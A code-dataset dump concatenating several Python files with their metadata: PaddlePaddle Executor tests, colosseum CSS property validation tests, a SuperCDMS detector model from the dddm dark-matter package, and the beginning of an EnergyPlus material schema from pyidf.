hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" start = time.time() for i in range(1000): loss_data = exe.run(train_program, feed={"X": x}, fetch_list=[loss.name], use_program_cache=True)[0] end1 = time.time() - start print(end1) tools.compare(loss_data, [-1.9068239]) place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" start = time.time() for i in range(1000): loss_data = exe.run(train_program, feed={"X": x}, fetch_list=[loss.name], use_program_cache=False)[0] end2 = time.time() - start print(end2) tools.compare(loss_data, [-1.9068239]) assert end2 > end1 def test_Executor6(): """ test Executor with return_numpy=False :return: """ place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name], return_numpy=False) if "paddle.fluid.core_avx.LoDTensor" in loss_data.__str__(): assert True else: assert False def test_Executor7(): """ test Executor with scope=newscope :return: """ place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) fkscope = fluid.Scope() with fluid.scope_guard(fkscope): with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" else: os.environ["CUDA_VISIBLE_DEVICES"] = "0, 1" for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name], scope=fkscope)[0] if platform.system() == "Darwin" or platform.system( ) == "Linux": tools.compare(loss_data, [-1.9068239, -1.9068239]) else: tools.compare(loss_data, [-1.9068239])

39.636612

78

0.562625

1,683

14,507

4.674985

0.104575

0.074733

0.064057

0.041052

0.839731

0.825241

0

0.034918

0.322879

14,507

365

79

39.745205

0.766059

0.068725

0

0.864583

0

0.027214

0.00233

0

0.03125

1

0.034722

false

0

0.024306

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0.059028

0.006944

0

null

0

1

0

1

0

null

0

7

fb77b4dd7b416b42abd7b6197143de0f140d07b3

19,159

py

Python

tests/test_declaration.py

newbazz/colosseum

5089a31ccca0df6c0c0aa20bdf7b5888007d45e7

[ "BSD-3-Clause" ]

null

tests/test_declaration.py

newbazz/colosseum

5089a31ccca0df6c0c0aa20bdf7b5888007d45e7

[ "BSD-3-Clause" ]

null

tests/test_declaration.py

newbazz/colosseum

5089a31ccca0df6c0c0aa20bdf7b5888007d45e7

[ "BSD-3-Clause" ]

null

from unittest import TestCase from colosseum import engine as css_engine from colosseum.colors import GOLDENROD, NAMED_COLOR, REBECCAPURPLE from colosseum.constants import AUTO, BLOCK, INLINE, TABLE, Choices from colosseum.declaration import CSS, validated_property from colosseum.units import percent, px from .utils import TestNode class PropertyChoiceTests(TestCase): def test_none(self): class MyObject: prop = validated_property('prop', choices=Choices(None), initial=None) obj = MyObject() self.assertIsNone(obj.prop) with self.assertRaises(ValueError): obj.prop = 10 with self.assertRaises(ValueError): obj.prop = 20 * px with self.assertRaises(ValueError): obj.prop = 30 * percent with self.assertRaises(ValueError): obj.prop = REBECCAPURPLE with self.assertRaises(ValueError): obj.prop = '#112233' with self.assertRaises(ValueError): obj.prop = 'a' with self.assertRaises(ValueError): obj.prop = 'b' obj.prop = None obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: none" ) def test_allow_length(self): class MyObject: prop = validated_property('prop', choices=Choices(length=True), initial=0) obj = MyObject() self.assertEqual(obj.prop, 0 * px) obj.prop = 10 obj.prop = 20 * px obj.prop = 30 * percent with self.assertRaises(ValueError): obj.prop = REBECCAPURPLE with self.assertRaises(ValueError): obj.prop = '#112233' with self.assertRaises(ValueError): obj.prop = 'a' with self.assertRaises(ValueError): obj.prop = 'b' with self.assertRaises(ValueError): obj.prop = None with self.assertRaises(ValueError): obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: <length>" ) def test_allow_percentage(self): class MyObject: prop = validated_property('prop', choices=Choices(percentage=True), initial=99 * percent) obj = MyObject() self.assertEqual(obj.prop, 99 * percent) with self.assertRaises(ValueError): obj.prop = 10 with self.assertRaises(ValueError): obj.prop = 20 * px obj.prop = 30 * percent with self.assertRaises(ValueError): obj.prop = REBECCAPURPLE with self.assertRaises(ValueError): obj.prop = '#112233' with self.assertRaises(ValueError): obj.prop = 'a' with self.assertRaises(ValueError): obj.prop = 'b' with self.assertRaises(ValueError): obj.prop = None with self.assertRaises(ValueError): obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: <percentage>" ) def test_allow_integer(self): class MyObject: prop = validated_property('prop', choices=Choices(integer=True), initial=0) obj = MyObject() self.assertEqual(obj.prop, 0) obj.prop = 10 with self.assertRaises(ValueError): obj.prop = 20 * px with self.assertRaises(ValueError): obj.prop = 30 * percent with self.assertRaises(ValueError): obj.prop = REBECCAPURPLE with self.assertRaises(ValueError): obj.prop = '#112233' with self.assertRaises(ValueError): obj.prop = 'a' with self.assertRaises(ValueError): obj.prop = 'b' with self.assertRaises(ValueError): obj.prop = None with self.assertRaises(ValueError): obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: <integer>" ) def test_allow_color(self): class MyObject: prop = validated_property('prop', choices=Choices(color=True), initial='goldenrod') obj = MyObject() self.assertEqual(obj.prop, NAMED_COLOR[GOLDENROD]) with self.assertRaises(ValueError): obj.prop = 10 with self.assertRaises(ValueError): obj.prop = 20 * px with self.assertRaises(ValueError): obj.prop = 30 * percent obj.prop = REBECCAPURPLE obj.prop = '#112233' with self.assertRaises(ValueError): obj.prop = 'a' with self.assertRaises(ValueError): obj.prop = 'b' with self.assertRaises(ValueError): obj.prop = None with self.assertRaises(ValueError): obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: <color>" ) def test_values(self): class MyObject: prop = validated_property('prop', choices=Choices('a', 'b', None), initial='a') obj = MyObject() self.assertEqual(obj.prop, 'a') with self.assertRaises(ValueError): obj.prop = 10 with self.assertRaises(ValueError): obj.prop = 20 * px with self.assertRaises(ValueError): obj.prop = 30 * percent with self.assertRaises(ValueError): obj.prop = REBECCAPURPLE with self.assertRaises(ValueError): obj.prop = '#112233' obj.prop = 'a' obj.prop = 'b' obj.prop = None obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; Valid values are: a, b, none" ) def test_all_choices(self): class MyObject: prop = validated_property('prop', choices=Choices( 'a', 'b', None, integer=True, length=True, percentage=True, color=True ), initial=None) obj = MyObject() obj.prop = 10 obj.prop = 20 * px obj.prop = 30 * percent obj.prop = REBECCAPURPLE obj.prop = '#112233' obj.prop = 'a' obj.prop = 'b' obj.prop = None obj.prop = 'none' # Check the error message try: obj.prop = 'invalid' self.fail('Should raise ValueError') except ValueError as v: self.assertEqual( str(v), "Invalid value 'invalid' for CSS property 'prop'; " "Valid values are: <color>, <integer>, <length>, <percentage>, a, b, none" ) def test_string_symbol(self): class MyObject: prop = validated_property('prop', choices=Choices(AUTO, None), initial=None) obj = MyObject() # Set a symbolic value using the string value of the symbol # We can't just use the string directly, though - that would # get optimized by the compiler. So we create a string and # transform it into the value we want. val = 'AUTO' obj.prop = val.lower() # Both equality and instance checking should work. self.assertEqual(obj.prop, AUTO) self.assertIs(obj.prop, AUTO) class CssDeclarationTests(TestCase): def test_engine(self): node = TestNode(style=CSS()) self.assertEqual(node.style.engine(), css_engine) def test_auto_default_property(self): node = TestNode(style=CSS()) node.layout.dirty = None # Default value is AUTO self.assertIs(node.style.width, AUTO) self.assertIsNone(node.style.dirty) # Modify the value node.style.width = 10 self.assertEqual(node.style.width, 10) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set the value to the same value. # Dirty flag is not set. node.style.width = 10 self.assertEqual(node.style.width, 10) self.assertFalse(node.style.dirty) # Set the value to something new # Dirty flag is set. node.style.width = 20 self.assertEqual(node.style.width, 20) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Clear the property del node.style.width self.assertIs(node.style.width, AUTO) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Clear the property again. # The underlying attribute won't exist, so this # should be a no-op. del node.style.width self.assertIs(node.style.width, AUTO) self.assertFalse(node.style.dirty) def test_0_default_property(self): node = TestNode(style=CSS()) node.layout.dirty = None # Default value is 0 self.assertEqual(node.style.border_top_width, 0) self.assertIsNone(node.style.dirty) # Modify the value node.style.border_top_width = 10 self.assertEqual(node.style.border_top_width, 10) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set the value to the same value. # Dirty flag is not set. node.style.border_top_width = 10 self.assertEqual(node.style.border_top_width, 10) self.assertFalse(node.style.dirty) # Set the value to something new # Dirty flag is set. node.style.border_top_width = 20 self.assertEqual(node.style.border_top_width, 20) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Clear the property del node.style.border_top_width self.assertEqual(node.style.border_top_width, 0) self.assertTrue(node.style.dirty) def test_None_default_property(self): node = TestNode(style=CSS()) node.layout.dirty = None # Default value is None self.assertIsNone(node.style.max_width) self.assertIsNone(node.style.dirty) # Modify the value node.style.max_width = 10 self.assertEqual(node.style.max_width, 10) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set the value to the same value. # Dirty flag is not set. node.style.max_width = 10 self.assertEqual(node.style.max_width, 10) self.assertFalse(node.style.dirty) # Set the value to something new # Dirty flag is set. node.style.max_width = 20 self.assertEqual(node.style.max_width, 20) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Clear the property del node.style.max_width self.assertIsNone(node.style.max_width) self.assertTrue(node.style.dirty) def test_property_with_choices(self): node = TestNode(style=CSS()) node.layout.dirty = None # Default value is INLINE self.assertIs(node.style.display, INLINE) self.assertIsNone(node.style.dirty) # Try to provide a value that isn't on the choices list with self.assertRaises(ValueError): node.style.display = 10 # Use a valid value node.style.display = BLOCK self.assertIs(node.style.display, BLOCK) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set the value to the same value. # Dirty flag is not set. node.style.display = BLOCK self.assertIs(node.style.display, BLOCK) self.assertFalse(node.style.dirty) # Set the value to something new # Dirty flag is set. node.style.display = TABLE self.assertIs(node.style.display, TABLE) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Clear the property del node.style.display self.assertIs(node.style.display, INLINE) self.assertTrue(node.style.dirty) def test_directional_property(self): node = TestNode(style=CSS()) node.layout.dirty = None # Default value is 0 self.assertEqual(node.style.margin, (0, 0, 0, 0)) self.assertEqual(node.style.margin_top, 0) self.assertEqual(node.style.margin_right, 0) self.assertEqual(node.style.margin_bottom, 0) self.assertEqual(node.style.margin_left, 0) self.assertIsNone(node.style.dirty) # Set a value in one axis node.style.margin_top = 10 self.assertEqual(node.style.margin, (10, 0, 0, 0)) self.assertEqual(node.style.margin_top, 10) self.assertEqual(node.style.margin_right, 0) self.assertEqual(node.style.margin_bottom, 0) self.assertEqual(node.style.margin_left, 0) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set a value directly with a single item node.style.margin = (10,) self.assertEqual(node.style.margin, (10, 10, 10, 10)) self.assertEqual(node.style.margin_top, 10) self.assertEqual(node.style.margin_right, 10) self.assertEqual(node.style.margin_bottom, 10) self.assertEqual(node.style.margin_left, 10) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set a value directly with a single item node.style.margin = 30 self.assertEqual(node.style.margin, (30, 30, 30, 30)) self.assertEqual(node.style.margin_top, 30) self.assertEqual(node.style.margin_right, 30) self.assertEqual(node.style.margin_bottom, 30) self.assertEqual(node.style.margin_left, 30) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set a value directly with a 2 values node.style.margin = (10, 20) self.assertEqual(node.style.margin, (10, 20, 10, 20)) self.assertEqual(node.style.margin_top, 10) self.assertEqual(node.style.margin_right, 20) self.assertEqual(node.style.margin_bottom, 10) self.assertEqual(node.style.margin_left, 20) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set a value directly with a 3 values node.style.margin = (10, 20, 30) self.assertEqual(node.style.margin, (10, 20, 30, 20)) self.assertEqual(node.style.margin_top, 10) self.assertEqual(node.style.margin_right, 20) self.assertEqual(node.style.margin_bottom, 30) self.assertEqual(node.style.margin_left, 20) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Set a value directly with a 4 values node.style.margin = (10, 20, 30, 40) self.assertEqual(node.style.margin, (10, 20, 30, 40)) self.assertEqual(node.style.margin_top, 10) self.assertEqual(node.style.margin_right, 20) self.assertEqual(node.style.margin_bottom, 30) self.assertEqual(node.style.margin_left, 40) self.assertTrue(node.style.dirty) # Set a value directly with an invalid number of values with self.assertRaises(ValueError): node.style.margin = () with self.assertRaises(ValueError): node.style.margin = (10, 20, 30, 40, 50) # Clean the layout node.layout.dirty = False # Clear a value on one axis del node.style.margin_top self.assertEqual(node.style.margin, (0, 20, 30, 40)) self.assertEqual(node.style.margin_top, 0) self.assertEqual(node.style.margin_right, 20) self.assertEqual(node.style.margin_bottom, 30) self.assertEqual(node.style.margin_left, 40) self.assertTrue(node.style.dirty) # Restore the top margin node.style.margin_top = 10 # Clean the layout node.layout.dirty = False # Clear a value directly del node.style.margin self.assertEqual(node.style.margin, (0, 0, 0, 0)) self.assertEqual(node.style.margin_top, 0) self.assertEqual(node.style.margin_right, 0) self.assertEqual(node.style.margin_bottom, 0) self.assertEqual(node.style.margin_left, 0) self.assertTrue(node.style.dirty) def test_set_multiple_properties(self): node = TestNode(style=CSS()) node.layout.dirty = None node.style.set(width=10, height=20) self.assertEqual(node.style.width, 10) self.assertEqual(node.style.height, 20) self.assertIs(node.style.top, AUTO) self.assertTrue(node.style.dirty) # Clear properties node.style.set(width=None, top=30) self.assertIs(node.style.width, AUTO) self.assertEqual(node.style.height, 20) self.assertEqual(node.style.top, 30) self.assertTrue(node.style.dirty) # Clean the layout node.layout.dirty = False # Setting a non-property with self.assertRaises(NameError): node.style.set(not_a_property=10) self.assertFalse(node.style.dirty) def test_str(self): node = TestNode(style=CSS()) node.layout.dirty = None node.style.set( width=10, height=20, margin=(30, 40, 50, 60), display=BLOCK ) self.assertEqual( str(node.style), "display: block; height: 20px; " "margin-bottom: 50px; margin-left: 60px; " "margin-right: 40px; margin-top: 30px; width: 10px" )

32.038462

101

0.594603

2,260

19,159

4.990265

0.077876

0.111722

0.102766

0.12981

0.853786

0.834368

0.793669

0.738695

0.724153

0.687711

0

0.025149

0.306801

19,159

597

102

32.092127

0.824034

0.100057

0

0.726161

0

0.002445

0.060814

0

0.408313

1

0.03912

false

0

0.017115

0

0.080685

0

null

0

1

0

1

0

null

0

1

0

8

fb927186df338b0e3908bf5b3088e6f7cda90bb7

11,924

py

Python

dddm/detectors/super_cdms.py

JoranAngevaare/dddm

3461e37984bac4d850beafecc9d1881b84fb226c

[ "MIT" ]

null

dddm/detectors/super_cdms.py

JoranAngevaare/dddm

3461e37984bac4d850beafecc9d1881b84fb226c

[ "MIT" ]

85

2021-09-20T12:08:53.000Z

2022-03-30T12:48:06.000Z

dddm/detectors/super_cdms.py

JoranAngevaare/dddm

3461e37984bac4d850beafecc9d1881b84fb226c

[ "MIT" ]

null

import typing as ty from abc import ABC from .experiment import Experiment, lindhard_quenching_factor, _get_nr_resolution import numpy as np import dddm from functools import partial export, __all__ = dddm.exporter() class _BaseSuperCdms(Experiment, ABC): """Base class of superCDMS to introduce shared properties""" location = "SNOLAB" # Parameters needed for eq. 3, 4 of https://arxiv.org/pdf/1610.00006.pdf # Since they are not directly used, they are not set as class attributes _energy_parameters = dict( si_hv={'Z': 14, 'k': 0.161, 'epsilon': 0.003, 'e_delta_v': 0.1, 'e_thr_phonon': 100e-3, 'sigma_phonon': 5e-3, 'sigma_ion': np.nan, # Only phonons }, si_izip={'Z': 14, 'k': 0.161, 'epsilon': 0.003, 'e_delta_v': 0.008, 'e_thr_phonon': 175e-3, 'sigma_phonon': 25e-3, 'sigma_ion': 110e-3, }, ge_hv={'Z': 32, 'k': 0.162, 'epsilon': 0.00382, 'e_delta_v': 0.1, 'e_thr_phonon': 100e-3, 'sigma_phonon': 10e-3, 'sigma_ion': np.nan, # Only phonons }, ge_izip={'Z': 32, 'k': 0.162, 'epsilon': 0.00382, 'e_delta_v': 0.006, 'e_thr_phonon': 350e-3, 'sigma_phonon': 50e-3, 'sigma_ion': 100e-3, }, ) def get_energy_thr_ee_from_phonon_thr(self) -> ty.Union[float, int]: """get the energy threshold (ee) based on the energy_parameters""" assert self.interaction_type == 'migdal_SI' this_conf = self._energy_parameters[self.detector_key] return energy_ee_from_energy_phonon( e_ph=this_conf['e_thr_phonon'], e_delta_v=this_conf['e_delta_v'], epsilon=this_conf['epsilon'] ) def get_energy_res_ee_from_phonon_res(self) -> ty.Union[float, int]: """get the energy resolution (ee) based on the energy_parameters""" assert self.interaction_type == 'migdal_SI' this_conf = self._energy_parameters[self.detector_key] return energy_ee_from_energy_phonon( e_ph=this_conf['sigma_phonon'], e_delta_v=this_conf['e_delta_v'], epsilon=this_conf['epsilon'] ) def energy_nr_to_detectable_energy_function(self) -> ty.Callable: """ Get phonon energy (hv) or ionization energy (izip) from nuclear recoil energy """ assert self.interaction_type == 'SI' det_key = self.detector_key this_conf = self._energy_parameters[det_key] if 'izip' in det_key: return partial(energy_ionization_from_e_nr, Z=this_conf['Z'], k=this_conf['k'], ) if 'hv' in det_key: return partial(energy_phonon_from_energy_nr, Z=this_conf['Z'], k=this_conf['k'], e_delta_v=this_conf['e_delta_v'], epsilon=this_conf['epsilon'], ) raise ValueError(f'got {det_key}?!') @property def detector_key(self) -> str: material = self.target_material.lower() if 'hv' in self.detector_name.lower(): return f'{material}_hv' assert 'izip' in self.detector_name.lower() return f'{material}_izip' @export class SuperCdmsHvGeNr(_BaseSuperCdms): detector_name = 'SuperCDMS_HV_Ge_NR' target_material = 'Ge' interaction_type = 'SI' __version__ = '0.0.0' exposure_tonne_year = 44 * 1.e-3 # Tonne year energy_threshold_kev = 40. / 1e3 # table VIII, Enr cut_efficiency = 0.85 # p. 11, right column detection_efficiency = 0.85 # p. 11, left column NOTE: ER type! def resolution(self, energies_in_kev): """Flat resolution""" phonon_energy_from_nr = self.energy_nr_to_detectable_energy_function() phonon_resolution = self._energy_parameters[self.detector_key]['sigma_phonon'] return _get_nr_resolution(energies_in_kev, phonon_energy_from_nr, phonon_resolution) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 27 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsHvSiNr(_BaseSuperCdms): detector_name = 'SuperCDMS_HV_Si_NR' target_material = 'Si' interaction_type = 'SI' __version__ = '0.0.0' exposure_tonne_year = 9.6 * 1.e-3 # Tonne year energy_threshold_kev = 78. / 1e3 # table VIII, Enr cut_efficiency = 0.85 # p. 11, right column detection_efficiency = 0.85 # p. 11, left column NOTE: ER type! def resolution(self, energies_in_kev): """Flat resolution""" phonon_energy_from_nr = self.energy_nr_to_detectable_energy_function() phonon_resolution = self._energy_parameters[self.detector_key]['sigma_phonon'] return _get_nr_resolution(energies_in_kev, phonon_energy_from_nr, phonon_resolution) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 300 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsIzipGeNr(_BaseSuperCdms): detector_name = 'SuperCDMS_iZIP_Ge_NR' target_material = 'Ge' interaction_type = 'SI' __version__ = '0.0.0' exposure_tonne_year = 56 * 1.e-3 # Tonne year energy_threshold_kev = 272. / 1e3 # table VIII, Enr cut_efficiency = 0.75 # p. 11, right column detection_efficiency = 0.85 # p. 11, left column def resolution(self, energies_in_kev): """Flat resolution""" ionization_energy_from_nr = self.energy_nr_to_detectable_energy_function() ionization_resolution = self._energy_parameters[self.detector_key]['sigma_ion'] return _get_nr_resolution(energies_in_kev, ionization_energy_from_nr, ionization_resolution) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 3300e-6 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsIzipSiNr(_BaseSuperCdms): detector_name = 'SuperCDMS_iZIP_Si_NR' target_material = 'Si' interaction_type = 'SI' __version__ = '0.0.0' exposure_tonne_year = 4.8 * 1.e-3 # Tonne year energy_threshold_kev = 166. / 1e3 # table VIII, Enr cut_efficiency = 0.75 # p. 11, right column detection_efficiency = 0.85 # p. 11, left column def resolution(self, energies_in_kev): """Flat resolution""" ionization_energy_from_nr = self.energy_nr_to_detectable_energy_function() ionization_resolution = self._energy_parameters[self.detector_key]['sigma_ion'] return _get_nr_resolution(energies_in_kev, ionization_energy_from_nr, ionization_resolution) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 2900e-6 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsHvGeMigdal(_BaseSuperCdms): detector_name = 'SuperCDMS_HV_Ge_Migdal' target_material = 'Ge' interaction_type = 'migdal_SI' __version__ = '0.0.0' exposure_tonne_year = 44 * 1.e-3 # Tonne year cut_efficiency = 0.85 # p. 11, right column detection_efficiency = 0.5 # p. 11, left column NOTE: migdal is ER type! @property def energy_threshold_kev(self): return self.get_energy_thr_ee_from_phonon_thr() def resolution(self, energies_in_kev): """Flat resolution""" e_res_ee = self.get_energy_res_ee_from_phonon_res() return self._flat_resolution(len(energies_in_kev), e_res_ee) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 27 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsHvSiMigdal(_BaseSuperCdms): detector_name = 'SuperCDMS_HV_Si_Migdal' target_material = 'Si' interaction_type = 'migdal_SI' __version__ = '0.0.0' exposure_tonne_year = 9.6 * 1.e-3 # Tonne year cut_efficiency = 0.85 # p. 11, right column detection_efficiency = 0.675 # p. 11, left column NOTE: migdal is ER type! @property def energy_threshold_kev(self): return self.get_energy_thr_ee_from_phonon_thr() def resolution(self, energies_in_kev): """Flat resolution""" e_res_ee = self.get_energy_res_ee_from_phonon_res() return self._flat_resolution(len(energies_in_kev), e_res_ee) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 300 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsIzipGeMigdal(_BaseSuperCdms): detector_name = 'SuperCDMS_iZIP_Ge_Migdal' target_material = 'Ge' interaction_type = 'migdal_SI' __version__ = '0.0.0' exposure_tonne_year = 56 * 1.e-3 # Tonne year cut_efficiency = 0.75 # p. 11, right column detection_efficiency = 0.5 # p. 11, left column NOTE: migdal is ER type! @property def energy_threshold_kev(self): return self.get_energy_thr_ee_from_phonon_thr() def resolution(self, energies_in_kev): """Flat resolution""" e_res_ee = self.get_energy_res_ee_from_phonon_res() return self._flat_resolution(len(energies_in_kev), e_res_ee) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 22 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) @export class SuperCdmsIzipSiMigdal(_BaseSuperCdms): detector_name = 'SuperCDMS_iZIP_Si_Migdal' target_material = 'Si' interaction_type = 'migdal_SI' __version__ = '0.0.0' exposure_tonne_year = 4.8 * 1.e-3 # Tonne year cut_efficiency = 0.75 # p. 11, right column detection_efficiency = 0.675 # p. 11, left column NOTE: migdal is ER type! @property def energy_threshold_kev(self): return self.get_energy_thr_ee_from_phonon_thr() def resolution(self, energies_in_kev): """Flat resolution""" e_res_ee = self.get_energy_res_ee_from_phonon_res() return self._flat_resolution(len(energies_in_kev), e_res_ee) def background_function(self, energies_in_kev): """Flat bg rate""" bg_rate_nr = 370 # counts/kg/keV/year conv_units = 1.0e3 # Tonne return self._flat_background(len(energies_in_kev), bg_rate_nr * conv_units) def energy_ee_from_energy_phonon(e_ph, e_delta_v, epsilon): """Eq. 4 in https://arxiv.org/abs/1610.00006 rewritten to ee (`y`=1) and `eta`=1""" return e_ph / (1 + e_delta_v / epsilon) def energy_phonon_from_energy_nr(e_r_nr, Z, k, e_delta_v, epsilon): y = lindhard_quenching_factor(e_r_nr, atomic_number_z=Z, k=k) if not isinstance(y, np.ndarray): raise ValueError return e_r_nr * (1 + y * (e_delta_v / epsilon)) def energy_ionization_from_e_nr(e_r_nr, Z, k): y = lindhard_quenching_factor(e_r_nr, atomic_number_z=Z, k=k) if not isinstance(y, np.ndarray): raise ValueError return e_r_nr * y

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fbc57ff509fe0fdcfd51d82211eb83705dac0978

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Python

pyidf/surface_construction_elements.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

19

2015-12-08T23:33:51.000Z

2022-01-31T04:41:10.000Z

pyidf/surface_construction_elements.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

2

2019-10-04T10:57:00.000Z

2021-10-01T06:46:17.000Z

pyidf/surface_construction_elements.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

7

2015-11-04T02:25:01.000Z

2021-12-08T03:14:28.000Z

""" Data objects in group "Surface Construction Elements" """ from collections import OrderedDict import logging from pyidf.helper import DataObject logger = logging.getLogger("pyidf") logger.addHandler(logging.NullHandler()) class Material(DataObject): """Corresponds to IDD object `Material` Regular materials described with full set of thermal properties.""" _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'roughness', {'name': u'Roughness', 'pyname': u'roughness', 'required-field': True, 'autosizable': False, 'accepted-values': [u'VeryRough', u'Rough', u'MediumRough', u'MediumSmooth', u'Smooth', u'VerySmooth'], 'autocalculatable': False, 'type': 'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'maximum': 3.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'density', {'name': u'Density', 'pyname': u'density', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m3'}), (u'specific heat', {'name': u'Specific Heat', 'pyname': u'specific_heat', 'required-field': True, 'autosizable': False, 'minimum': 100.0, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K'}), (u'thermal absorptance', {'name': u'Thermal Absorptance', 'pyname': u'thermal_absorptance', 'default': 0.9, 'minimum>': 0.0, 'maximum': 0.99999, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar absorptance', {'name': u'Solar Absorptance', 'pyname': 